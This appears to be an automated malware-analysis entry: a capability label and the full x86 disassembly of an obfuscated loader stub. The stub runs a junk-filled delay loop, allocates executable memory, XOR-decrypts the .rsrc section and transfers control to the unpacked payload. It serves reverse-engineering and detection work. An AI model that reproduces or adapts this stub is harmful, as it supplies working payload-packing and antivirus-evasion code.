Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8c6bb553
add ebx, ecx
inc ebx
not ebx
popal
sub ecx, 0xc428be9b
or ebx, ebx
mov eax, 0
mov esi, edx
sub ecx, 0x36f92bce
sub ecx, 1
mov ebx, esi
add ecx, edi
inc edi
mov edx, ebx
or ecx, ecx
mov edi, 0xe7ee6f13
sub edi, ecx
add eax, 1
add ecx, ecx
and edi, edi
cmp eax, 0x100335e
jne 0xa789c5
add edi, 0x5de7d35d
or edi, ecx
sub ebx, 0x6b0260aa
inc ecx
inc ebx
mov ecx, 0xa78796
sub edx, 0x1315f971
not edx
mov esi, 0xa7898a
inc edx
add ebx, 0x679c0cb8
not edx
mov edi, dword [ecx]
and ebx, edx
or edx, ebx
and edi, 0xff
add ebx, ebx
sub ebx, 0x202b4f55
and ebx, edx
xor dword [esi], edi
not edx
not edx
inc esi
sub ebx, 1
mov eax, edx
add ecx, 1
or edx, ebx
add edx, ebx
add eax, 0xacb864c5
cmp esi, entry0
jl 0xa78a24
mov eax, ebx
inc edx
mov ebx, edx
mov ebx, 0xa3c62f74
add edx, ebx
mov edx, 0x3023d6d2
add ecx, 1
add ecx, ecx
mov edi, 0xa7898e
dec ecx
dec ebx
mov edi, dword [edi]
sub esi, edx
dec esi
mov edi, dword [edi]
sub edx, 0xfcf07f25
and edx, ecx
push edi
dec ecx
add esi, 0xe6f28df3
mov edi, 0xa7898a
and ebx, ecx
sub ebx, esi
mov ecx, edx
mov edi, dword [edi]
mov ecx, ebx
or ebx, edx
dec edx
mov edi, dword [edi]
and ecx, esi
sub ecx, 0x676f1cf3
push 0xa78992
sub edx, esi
mov ebx, edx
call edi
sub ecx, 0x3de6a6b7
mov edx, ebx
mov edx, 0xe81b5782
pop edi
add esi, esi
and esi, ebx
and ebx, edx
push 0xa7899f
add edx, ecx
and ebx, edx
dec ecx
push eax
sub edx, esi
mov edx, 0x9618333e
mov esi, edx
call edi
add edx, ebx
and ebx, edx
sub ebx, 0x358b4aed
push 0x40
and ebx, edx
sub edx, 1
push 0x3000
add esi, ebx
add edx, esi
sub esp, 4
mov dword [esp], 0x200001af
mov ebx, 0xce96062
sub edx, 0xd0fae579
sub esp, 4
mov dword [esp], 0
add ecx, 0xf8a7e054
dec ecx
call eax
sub ebx, 1
or ecx, edx
add eax, 0x200000fa
mov ecx, ebx
and ecx, ecx
dec ebx
mov edi, 0x383493af
sub edx, 0x4f3c0c22
add edx, 1
or esi, ecx
mov dword [eax], edi
add esi, ebx
inc ecx
and edx, edx
mov edi, dword [eax]
add ecx, 0x719327b8
inc ebx
cmp edi, 0x383493af
je 0xa78b7a
mov edx, 0
mov dword [edx], ebx
add edx, 0x437f0847
dec ecx
mov edx, ebx
and esi, ecx
sub ecx, ebx
mov ebx, ecx
mov eax, section..rsrc_1
sub ebx, 0x8603a4f0
add ebx, ebx
mov edx, 0xa78795
sub ecx, 0x17cff276
dec ecx
mov ecx, ebx
mov esi, 0
not ecx
mov ecx, 0xde88cdab
inc ebx
mov edi, 0xa78796
or ecx, ebx
sub ecx, 0x41d12353
lea edi, [esi + edi]
mov ecx, 0x345d282
add ecx, ecx
mov edi, dword [edi]
sub ecx, 0xc5a446e0
not ebx
sub ecx, 0x8e166d06
and edi, 0xff
inc ebx
mov ecx, ebx
add esi, 1
dec ebx
and ebx, ecx
cmp esi, 0x1f4
jne 0xa78bf7
mov esi, 0
not ecx
not ecx
sub ecx, 1
not ecx
sub ecx, ebx
xor dword [eax], edi
sub ebx, 0x2b87985e
sub ecx, 1
mov ecx, 0x13aee86b
add eax, 2
mov ebx, 0xa2eabee1
sub ebx, ecx
mov ebx, 0x6723439e
cmp eax, edx
jl 0xa78bb1
not ecx
add ebx, 0xe6eae435
or ecx, ebx
sub ebx, 0xa3c20233
not ebx
add ebx, 1
mov edi, section..rsrc_1
dec eax
mov eax, edx
sub eax, 1
mov ecx, section..rsrc_1
or eax, eax
mov edx, eax
add edx, 1
mov esi, 0xa78795
not eax
add edx, 0x4847af51
not eax
mov ebx, 0
or eax, eax
and eax, eax
add edx, 0xd2521bb5
mov bl, byte [ecx]
mov edx, eax
and edx, eax
dec eax
mov byte [edi], bl
mov edx, 0xa858e848
and edx, edx
sub edx, eax
inc edi
sub eax, 0x2dc052b9
not edx
add ecx, 2
and eax, edx
add eax, 0x6ba623d3
cmp ecx, esi
jle 0xa78c85
inc eax
mov eax, edx
sub ebx, 0x3121dee8
not ebx
add ecx, 0x6db34e30
push 0x8dc6a0
mov ecx, 0xf8f6d3a7
sub ebx, 0x1c46c648
ret